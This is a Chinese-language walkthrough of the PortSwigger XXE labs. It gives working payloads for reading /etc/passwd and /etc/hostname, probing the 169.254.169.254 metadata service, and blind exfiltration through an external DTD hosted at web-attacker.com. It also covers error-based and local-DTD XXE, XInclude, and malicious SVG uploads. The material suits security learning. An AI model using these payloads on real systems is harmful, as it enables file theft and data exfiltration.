實驗室鏈接https://portswigger.net/web-security
XXE漏洞如何產生
一些應用程序使用XML格式在瀏覽器和服務器之間傳輸數據.而服務器端又沒有對XML數據進行很好的檢查,就可能產生XXE漏洞.
如: 某個網頁可能傳輸如下的數據
如果稍加修改:
利用XXE讀取文件
要執行從服務器的文件系統中讀取任意文件的XXE注入攻擊,需要修改兩處XML:
- 引入(或編輯)一個
DOCTYPE
元素,該元素定義一個包含文件路徑的外部實體。 - 編輯應用程序響應中返回的XML中的數據值,以使用已定義的外部實體
例如,假設購物應用程序通過向服務器提交以下XML來檢查產品的庫存:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
正常情況下會返回:
如果稍加修改:
先引入一個xxe的外部實體,再修改相應值
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
就可以讀取文件
利用XXE執行SSRF攻擊
除了檢索敏感數據外,XXE攻擊的另一個主要影響是,它們可用於執行服務器端請求偽造(SSRF) ,
這可能導致服務器端應用程序對服務器可以訪問的任何URL發出HTTP請求
通過查看請求相應判斷請求資源是否存在等.
操作方法也是先引入一個實體,再替換響應值:
如下:
引入實體探測內網: 探測http://169.254.169.254/時
說明我們請求的資源存在,返回了一個目錄的名稱latest
持續的請求最終可以讀取到文件
XXE盲注檢測
前面兩種都是有回顯情況下的XXE注入,但實際上XXE漏洞的許多情況都是沒有回顯的.
這意味着應用程序不會在其響應中返回任何已定義外部實體的值,因此無法直接檢索服務器端文件
但是可以通過別的方法來間接檢測
檢測方法:
- 報錯注入
- 與外網交互
通過Burpsuite的Collaborator可以測試XXE盲注
Burp Collaborator測試XXE盲注
具體使用可以參考 https://blog.csdn.net/fageweiketang/article/details/89073662
在BurpSuite專業版中.
開啟Collaborator Server
通過工具欄可以打開
點擊Copy to clipboard可以生成連接
類似xxx.burpcollaborator.net
當我們發現 存在疑似XXE漏洞,測試的時候只能看見"Invalid product ID"
我們修改為如下的XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://8luaz6s3evbr13tizib9fyhm8de32s.burpcollaborator.net"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
http://8luaz6s3evbr13tizib9fyhm8de32s.burpcollaborator.net是Burp Collaborator 生成的
可以發現在Collaborator 中的回顯,就證明確實存在XXE.對方對該域名進行了HTTP請求和DNS解析
外部實體參數被過濾
在這個實驗中,引入外部實體參數,發現被檢測出來
可以用以下情況繞過
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe; ]>
XXE盲注利用
可以通過請求帶參數的方式將數據帶出到外網
如以下惡意的DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
- 定義名為的XML參數實體
file
,其中包含/etc/passwd
文件的內容。 - 定義一個名為的XML參數實體
eval
,其中包含另一個名為的XML參數實體的動態聲明exfiltrate
。該exfiltrate
實體將通過使含有的值的HTTP請求到攻擊者的web服務器進行評價file
URL查詢字符串內的實體。 - 使用
eval
實體,這將導致exfiltrate
執行實體的動態聲明。 - 使用
exfiltrate
實體,以便通過請求指定的URL得到文件內容。
這樣通過查看日志就可以查看到文件內容
上面的DTD必須托管在DTD平台,因為外部DTD允許我們在第二個實體中包含一個實體,但它在內部DTD中被禁止
http://web-attacker.com/malicious.dtd 的內容為
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
如 抓到以下包后
我們在 http://accd1f0c1f3e93218058065a014f00db.web-security-academy.net/test.dtd 托管如下內容
里面的鏈接為Burp Collaborator鏈接
然后修改包為:
可以在Collaborator里面看到返回的數據
x就是/etc/hostname 文件下的內容(也可能是第一行,多行情況下可以用其他協議)
XXE報錯注入
XXE盲注的另一種思路是讓XML解析器報錯
錯誤消息可能包含敏感數據
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
- 定義名為的XML參數實體
file
,其中包含/etc/passwd
文件的內容。 - 定義一個名為的XML參數實體
eval
,其中包含另一個名為的XML參數實體的動態聲明error
。該error
實體將通過加載一個不存在的文件名稱中包含的價值進行評估file
實體。 - 使用
eval
實體,這將導致error
執行實體的動態聲明。 - 使用該
error
實體,以便通過嘗試加載不存在的文件來,從而產生一條錯誤消息,其中包含該不存在的文件的名稱,即文件的內容/etc/passwd
將以上內容托管到http://web-attacker.com/malicious.dtd
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
可以現在托管平台下托管如下數據: (鏈接 https://ac7a1fe31fca4a0c80687b1101e600ac.web-security-academy.net/1.dtd )
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid123456aaaaa/%file;'>">
%eval;
%exfil;
將抓到的如下包
修改為:
利用本地DTD的XXE盲注
詳細原理以及利用場景: https://www.freebuf.com/articles/web/195899.html
在服務器防火牆阻止外部DTD引用,我們就無法像以上那樣進行XXE盲注.
這時候可以 在目標主機上強制執行本地dtd文件 , 並在其中重新定義一些參數實體引用
例如,假設服務器文件系統上該位置有一個DTD文件/usr/local/app/schema.dtd
,並且此DTD文件定義了一個名為custom_entity
的實體,攻擊者可以重新定義custom_entity
來進行保存的XXE注入
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
該DTD執行以下步驟:
- 定義一個實體參數
local_dtd
,引用內部的DTD文件 - 重新定義名為
custom_entity
的XML參數實體,構造基於錯誤的XXE盲注 - 使用
local_dtd
這樣就構造了基於錯誤的XXE盲注
由於此XXE攻擊涉及重新利用服務器文件系統上的現有DTD,因此關鍵的要求是找到合適的文件 .
可以用一些框架固定的dtd文件,可以通過是否保存判斷DTD文件是否存在
例如,使用GNOME桌面環境的Linux系統通常在DTD文件/usr/share/yelp/dtd/docbookx.dtd
用以下payload能判斷該文件是否存在
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
固定的DTD位置:
- linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
- Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
在 https://www.freebuf.com/articles/web/195899.html 最后有很多這樣的例子
下面是利用 GNOME桌面環境 下的 /usr/share/yelp/dtd/docbookx.dtd
進行XXE盲注
在docbookx.dtd
中有預定義的實體參數ISOamso
,重新定義ISOamso
即可
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
抓到如下包
可以修改為:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>
">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
XXE的隱藏攻擊面
在許多情況下,XXE注入漏洞的攻擊面很明顯,因為應用程序的常規HTTP流量包括包含XML格式數據的請求 , 在其他情況下,攻擊面不太明顯 .可能在不存在XML格式數據的地方出現XXE
XInclude攻擊
-
Xinclude : 導入外部xml文檔,類似於php的include,將外部定義的dtd引入當前文件,因為引入外部實體具有局限性,所以使用xinclude來引入
-
語法:
<xi:include href="templates/footer.xml" xmlns:xi="http://www.w3.org/2003/XInclude"/>
差錯處理:xi:fallback(當發生連接問題、安全限制、資源不存在、URI 架構未知或者像 mailto: 一樣不可獲取,等等)
<xi:include href="http://msdn.microsoft.com/rss.xml">
<xi:fallback>Sorry, MSDN news are unavailable.<xi:fallback>
</xi:include>
屬性:
- href — 對要包括的文檔的 URI 引用。
- parse — 它的值可以是“xml”或“text”,用於定義如何包括指定的文檔(是作為 XML 還是作為純文本)。默認值是“xml”。
- xpointer — 這是一個 XPointer,用於標識要包括的 XML 文檔部分。如果作為文本包括 (parse="text"),將忽略該屬性。
- encoding — 作為文本包括時,該屬性提供所包括文檔的編碼提示信息。
要進行XInclude
攻擊,您需要引用XInclude
名稱空間並提供要包含的文件的路徑
如:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
在以下場景:
抓到一個產品的包
抓包修改產品id
id值傳入后端然后嵌入到服務端的XML文檔中,由於我們無法控制整個XML文檔,因此無法定義DTD發起攻擊,但可以通過Xinclude
文件上傳的XXE
一個應用程序可能允許用戶上傳圖像,並在上傳后在服務器上處理或驗證這些圖像
應用程序可能希望接收PNG或JPEG之類的格式 ,但服務端所使用的圖像處理庫也可能支持SVG圖像.
像SVG和DOCX文件都基於XML格式,所以可以構造惡意的SVG來進行攻擊
制作包含以下內容的SVG圖片
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
然后上傳
會發現頭像被處理了,顯示的正是hostname名稱.
通過修改的內容類型進行XXE攻擊
大多數POST請求都使用HTML表單生成的默認內容類型,例如application/x-www-form-urlencoded
有的網站可能沒有對此做限制,
例如,如果正常請求包含以下內容:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
然后,您可以提交以下請求,結果相同:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
就可以嘗試XXE攻擊.
XXE防御
禁用外部實體的解析並禁用對XInclude
的支持.